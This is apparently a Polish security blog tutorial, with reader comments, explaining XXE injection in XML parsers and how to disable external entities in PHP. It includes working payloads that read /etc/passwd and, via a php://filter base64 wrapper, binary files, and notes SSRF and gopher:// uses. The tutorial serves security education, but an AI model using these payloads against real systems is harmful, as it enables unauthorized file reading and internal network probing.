-15% na nową książkę sekuraka: Wprowadzenie do bezpieczeństwa IT. Przy zamówieniu podaj kod: 10000

Problemy z XXE (XML eXternal Entity)

28 marca 2014, 09:25 | Teksty | komentarzy 12

Podatności związane z XXE (XML eXternal Entity) ostatnimi czasy zdobywają coraz większą „popularność” w aplikacjach internetowych. Najczęściej wykorzystanie XXE jest sposobem na wykonanie ataku Path Traversal, czasem może jednak dawać większe możliwości. Przyjrzyjmy się tematowi z bliska.

Kilka słów o XML-u

XML jest językiem formalnym, którego celem jest reprezentowanie danych w strukturalizowany sposób. Typowy dokument XML może wyglądać następująco:

<?xml version="1.0" encoding="UTF-8"?>
<strony>
        <strona id="sekurak">
                <nazwa>Sekurak</nazwa>
                <url>http://www.sekurak.pl/</url>
                <komentarz>I &lt;3 Sekurak!</komentarz>
        </strona>
        <strona id="owasp">
               <nazwa>OWASP</nazwa>
               <url>https://owasp.org/</url>
               <komentarz />
        </strona>
</strony>

W pierwszej linii mamy deklarację XML. Obowiązkowy jest jedynie atrybut version, ale najczęściej spotyka się ją także z parametrem encoding.  Następnie zdefiniowany zostaje element główny (root element), który składa się z dwóch elementów <strona>. Elementy <strona> zawierają po jednym atrybucie (id) oraz trzech elementach-dzieciach: <nazwa>, <url> oraz <komentarz>.

Przyjrzyjmy się dokładniej elementowi: <komentarz>I &lt;3 Sekurak!</komentarz> w którym pojawia się encja &lt;. De facto encje możemy traktować jako operację w rodzaju „znajdź i zamień”: podczas interpretacji wartości elementu <komentarz>, encja &lt; zostanie zamieniona na znak <. W powyższym przykładzie encja &lt; była obowiązkowa ze względu na specjalne znaczenie znaku <. Gdyby wpisać I <3 Sekurak, otrzymalibyśmy błąd parsera, ponieważ potraktowałby on <3 jako otwarcie tagu.

 

Parsujemy XML

Weźmy bardzo prosty skrypt w PHP do parsowania XML-a z powyższego przykładu.

<?php
$xml = file_get_contents('test.xml');
$strony = new SimpleXMLElement($xml);
foreach($strony->strona->komentarz as $komentarz)
  echo "$komentarz\n";

Kod realizuje następujące operacje:

  1. Czytamy plik test.xml.
  2. Interpretujemy jego zawartość jako XML.
  3. Wypisujemy na wyjściu wartości wszystkich elementów <komentarz>.

Zobaczmy co się stanie, jeśli w pliku test.xml umieścimy nasz przykład.

xxe1

Zgodnie z oczekiwaniem, został wyświetlony tekst I <3 Sekurak – encja &lt; została zamieniona na znak <.

Oczywiście standard XML przewiduje możliwość definiowana własnych encji; można to zrobić w elemencie <!DOCTYPE>. Poniżej modyfikujemy przykład, dodając encję &shp; rozwijaną do „Sekurak Hacking Party” (dla zwięzłości, usunąłem też rekord owasp).

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE strony [ 
  <!ENTITY shp "Sekurak Hacking Party">
] >
<strony>
	<strona id="sekurak">
		<nazwa>Sekurak</nazwa>
		<url>http://www.sekurak.pl/</url>
		<komentarz>I &lt;3 Sekurak! &shp;</komentarz>
	</strona>
</strony>

Dodałem wspomnianą encję oraz odniesienie do niej w tagu <komentarz>. Zobaczmy jak teraz zachowa się skrypt.

xxe2

Świetnie! Encja &shp; została zamieniona na „Sekurak Hacking Party”. Jak widać, definiując takie encje możemy sobie oszczędzić pisania ;).

Dopiero teraz zacznie się jednak robić ciekawie. Encje XML-owe mogą być także importowane z plików. Założeniem tego mechanizmu była możliwość utworzenia pewnych definicji encji, które mogą być współdzielone między wieloma dokumentami, bez potrzeby definiowania ich w każdym z osobna. Spróbujmy jednak trochę nadużyć tej funkcji…

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE strony [ 
  <!ENTITY shp SYSTEM "/etc/passwd">
] >
<strony>
	<strona id="sekurak">
		<nazwa>Sekurak</nazwa>
		<url>http://www.sekurak.pl/</url>
		<komentarz>I &lt;3 Sekurak! &shp;</komentarz>
	</strona>
</strony>

Zmieniłem definicję encji &shp; – dołożyłem słowo SYSTEM (to informacja, że encja ma być pobierana z pliku), a jako plik wskazałem /etc/passwd. Zobaczmy co się stanie.

xxe3

Voila! Wykorzystaliśmy niepozorną interpretację plików XML do przeprowadzenia ataku Path traversal.

Atak ma jednak ograniczenia, otóż dołączane pliki:

  • muszą być poprawne w kontekście gramatyki XML,
  • nie mogą zawierać bajtu zerowego (\x00).

Zatem czytanie plików binarnych w ogólnym przypadku odpada. Istnieją różne możliwości obchodzenia tych ograniczeń – są one jednak bardzo mocno zależne od używanej technologii i biblioteki.

Pokażę jak w PHP można obejść problem z użyciem wrappera php://filter. Wpierw jednak sprawdźmy jak zachowa się aplikacja w przypadku próby dołączenia binarnego pliku /bin/bash.

xxe4

Próba nieudana. Przygotujmy więc filtr, który enkoduje wyjście z czytanego pliku do base64. Wygląda następująco: php://filter/convert.base64-encode/resource=/bin/bash

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE strony [ 
  <!ENTITY shp SYSTEM "php://filter/convert.base64-encode/resource=/bin/bash">
] >
<strony>
	<strona id="sekurak">
		<nazwa>Sekurak</nazwa>
		<url>http://www.sekurak.pl/</url>
		<komentarz>I &lt;3 Sekurak! &shp;</komentarz>
	</strona>
</strony>

I zobaczmy co się stanie teraz:

xxe5

Tym razem bez błędów – możemy więc czytać dowolny plik na dysku.

Warto zdawać sobie sprawę, że XXE umożliwia nie tylko czytanie plików lokalnych; zwykle da się również wykonywać zapytania http(s), ftp, czasem również inne protokoły. Stąd prosta droga do skanowania sieci lokalnej (np. enumeracji hostów) z użyciem tzw. Server Side Request Forgery. Możliwości jakie daje atak XXE są silnie zależne od używanych technologii, np.

  • W niektórych bibliotekach Javy, odwołanie się do nazwy katalogu (np. /etc/) powoduje wylistowanie jego zawartości.
  • W pewnych implementacjach można używać protokołu gopher://, który umożliwia wysyłanie danych de facto w dowolnym protokole pod dowolny port.

 

Jak się bronić

Ochrona przed atakiem XXE Injection polega po prostu na blokowaniu możliwości importowania zewnętrznych encji – zwykle w danych pobieranych od użytkownika taka funkcja nie jest do niczego potrzebna. Przykładowo w PHP można użyć funkcji:

libxml_disable_entity_loader(true);

Inne języki również mają swoje odpowiedniki, odsyłam do odpowiednich dokumentacji. W części interpretatorów XML-a dołączanie zewnętrznych encji jest domyślnie wyłączone.

 

Podsumowanie

Przyjmując dane w postaci dokumentu XML musimy pamiętać o podstawowej zasadzie bezpieczeństwa: nigdy nie ufaj danym otrzymanym od użytkownika. W tym przypadku zagrożenie niesie importowanie encji z zewnętrznych plików, efektywnie umożliwiające atak Path traversal.

Właściwie jedynym powszechnie używanym zabezpieczeniem jest całkowite wyłączenie ładowania zewnętrznych encji w parserze XML-a.

Dalsza lektura

Zainteresowanych tematem zachęcamy do kontynuowania lektury i poznania bardziej zaawansowanych technik wykorzystywania XXE.

Kilka ciekawych linków do dalszej lektury:

— Michał Bentkowski

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Michał B
    Odpowiedz
  2. SebaVegas

    To jest to co tygryski lubią najbardziej! Następny art tego typu niech będzie o php:unserialize()

    Odpowiedz
    • Michał B

      Nie ukrywam, że mam ten temat ostatnio na oku ;)

      Odpowiedz
  3. Coraz ciekawiej na tym sekuraku, dzięki tobie Michał

    Odpowiedz
  4. Olo

    Brawo ! Zwięźle i na temat. Poziom 1 liga !
    Ludzie : „Keep Calm and Carry On” -^~

    Odpowiedz
    • Olo: „stay tuned”.
      Michał ma już małą bombkę na kolejny tydzień :-) Już jest w zasadzie opisana, tylko czekamy na zapatchowanie problemu przez zainteresowanych – czyli firmę Google :-P

      Odpowiedz
  5. Marek

    Super artykuł. Okazuje się, że w bibliotekach Javy pojawia się potencjalnie insecure default. Nic dziwnego, że programiści o tym zapominają. Bardzo łatwo to przeoczyć.

    Porobiłem parę testów na bibliotekach JDom oraz Dom4J celem rozpracowania tematu dla Javy. Gdyby ktoś był zainteresowany – kod umieszczony został na githubie: https://github.com/marpuch/Java-Sec-Examples

    Odpowiedz
  6. k4

    Hmm… Czy pewno to jest „Path traversal”? Nie przypadkiem RFI?

    Odpowiedz
    • Michał Bentkowski

      Tak, XXE pozwala czytać dowolne pliki („path traversal”), nie pozwala jednak bezpośrednio ich wykonywać (nie ma więc mowy o „remote file inclusion”). Ewentualnie, o czym jest też mowa w artykule, oprócz samym „path traversalu” można tutaj mówić o „server side request forgery”.

      Odpowiedz
  7. Andrzej

    „W pewnych implementacjach można używać protokołu gopher://, który umożliwia wysyłanie danych de facto w dowolnym protokole pod dowolny port.”

    Z tego co mi się wydaje, to można używać tylko protokołów w TCP, chyba że się mylę?

    Odpowiedz

Odpowiedz na Michał Bentkowski